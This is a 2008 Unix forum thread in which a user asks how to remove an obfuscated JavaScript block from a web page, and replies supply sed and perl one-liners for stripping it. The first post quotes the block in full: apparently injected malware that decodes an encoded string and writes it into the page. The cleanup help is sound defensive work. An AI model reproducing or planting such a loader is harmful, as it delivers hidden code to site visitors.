clear complex javascript code


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting clear complex javascript code
# 1  
Old 07-23-2008
clear complex javascript code

Hi,

Please advise how can we clear the following javascript content from a file commandline, probably using awk or sed

File before removing the content.
################################
root@server1 [~]# cat index.html

This is a test page

<script language=JavaScript>function d(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,30,9,49,32,33,37,42,60,14,0,0,0,0,0,0,58,28,8,4,13,23 ,5,35,18,39,15,41,25,38,11,36,17,43,22,7,26,57,27,44,6,12,2,0,0,0,0,48,0,56,24,61,54,19,59,20,52,10, 1,50,3,21,51,0,40,31,45,34,16,47,55,62,53,46,29);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}d("Lk8_EeYkoEpxEVYMZdAhPEcIi7phHNcsRSD3PnWxPnW3ZqD3luBnNJWkiTW_YGa3Y uWszvzvNTW_YQ2hRl8xgib5HnA_PvYMZ9K4FdY_YNAnPGK4eib5RSDv2lYMZ9DnRn83YIYnPncIFdYnjSY_NfK4VMKsYJ8xCGY_V Z")</script> This is a testing page

root@server1 [~]#




File after removing the content.
################################
root@server1 [~]# cat index.html

This is a test page

This is a testing page

root@server1 [~]#


Thanks
# 2  
Old 07-23-2008
SpiderMonkey (JavaScript-C) Engine

Save yourself a lot of trouble and just run the JS from the command line. Here's a quick-and-dirty tutorial.
# 3  
Old 07-24-2008
sed '/<script language=JavaScript/,/<\/script>/d' index.html

this should clear the code, but it will also clear genuine or any other javascript codes.
# 4  
Old 07-24-2008
The sed command above will also remove all lines completely, so if you have </script> followed by some literal text (as in the given example), the literal text will be removed, too.

You could use XSLT to properly parse and extract the parts of the file you want, or you could do something like

Code:
perl -0777 -pe 's%<script language=JavaScript>.*?</script>%%gs' index.html

Maybe you want to make the regular expression a bit more general if this is meant to be more than a one-off job;

Code:
perl -0777 -pe 's%<script\s+language="?JavaScript"?>.*?</script>%%gis' index.html

Incidentally, this is a frequently recurring question; search this site for threads about multi-line substitution or XML/HTML substitution.
# 5  
Old 07-24-2008
era,

Excellent, you are bang on target. can extent you command to perform the operation on JavaScript enclosures only if that contain for example "cIFdYnjSY_NfK4VMKsYJ8xCGY_V Z"


Thanks
# 6  
Old 07-24-2008
Something like this maybe?

Code:
perl -0777 -pe 's%<script\s+language="?JavaScript"?>.*?cIFdYnjSY_NfK4VMKsYJ8xCGY_V Z.*?</script>%%gis' index.html

# 7  
Old 07-24-2008
era,

Perfect.

Thanks a ton.
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Web Development

JavaScript code - UNIX grep?

Hi I am new to JavaScript & haven't done much work with it, but have mainly experience with UNIX. I have a piece of code where I want to grep (excuse the UNIX language :D) for a id and get the number from that. { "time": 900, "avail": 1, "price": 0, "datetime":... (8 Replies)
Discussion started by: simpsa27
8 Replies

2. UNIX for Beginners Questions & Answers

awk not clear

can anyone tell me the working of this logic. here "last" is a variable or it has it own meaning . getting confused. awk '{if (last && $2 != last) {print last, sum; sum=0} sum=sum+ $3; last = $2} END {print last, sum}' (4 Replies)
Discussion started by: scriptor
4 Replies

3. Web Development

Path to javascript source code at local browsing

Where should I put my javascript source code in order to run it "locally" by file not by http?---not sure this "locally" is the appropriate word here. My test is when my javascript code (test.js) is put in the site default folder as the test.html in /var/www/html both worked as expected with... (2 Replies)
Discussion started by: yifangt
2 Replies

4. UNIX for Dummies Questions & Answers

Trying to understand a complex bit of code

Hi, To re-introduce myself, I'm a router guy trying to learn some scripting from the examples in my work place... In a ksh script, one of the script guys wrote the following and I am trying to understand it. I'm hoping someone can explain it to me. The script flow enters a case structure.... (5 Replies)
Discussion started by: Marc G
5 Replies

5. Shell Programming and Scripting

How to use javascript code in unix shell?

Hi Need help...I have wrritten one code for html through shell scripting in that i am using java scripts to validate some condition and open the html page without clicking the button.... Code Details echo "<script type="text/javascript">" echo "function exec_refresh()" echo "{" ... (4 Replies)
Discussion started by: l_gshankar24
4 Replies

6. AIX

Clear wtmp

Hello, Is there a difference between the following commands besides consider the file permissions? /usr/sbin/acct/nulladm /var/adm/wtmp >/var/adm/wtmp cat /dev/null >/var/adm/wtmp Today I tried the second command and it worked... (2 Replies)
Discussion started by: x_adm
2 Replies

7. UNIX for Dummies Questions & Answers

how to clear history

Hi... i have one doubt pls... 1)can we clear the command line history in UNIX for a paricular login(scadm/root)if so how?. 2) can we see the time at which command executed. history is showing like : 100 display 101 lock 102 exit (7 Replies)
Discussion started by: gincemathew
7 Replies

8. Programming

clear screen in g++

How do I clear screen in g++ I've included curses and tried compile with lcurses as per gcc but fails, I can clear by using system("clear") but would prefer to use the curses library if possible. (2 Replies)
Discussion started by: gefa
2 Replies

9. UNIX for Dummies Questions & Answers

Please help me clear up some confusion

Hello All, I like this forum btw, and have only been lurking for about a day. Recently I purchased some new hardware (AMD Athlon 64 3200+ and a Asus K8V Deluxe Motherboard), and I want to find an OS that can take advantage of the 64 bit processor. Basically, what are the differences... (2 Replies)
Discussion started by: RoY_mUnSoN
2 Replies

10. Programming

How to clear screen

I searched the post and someone said to clear the screen in C, use printf("\033[2J"); ?? However, this doesn't work...typo or no. What is an equivalent command to 'CLS' in DOS/'clear' in UNIX to clear the screen and go to top of screen?? Thank you. (2 Replies)
Discussion started by: giannicello
2 Replies
Login or Register to Ask a Question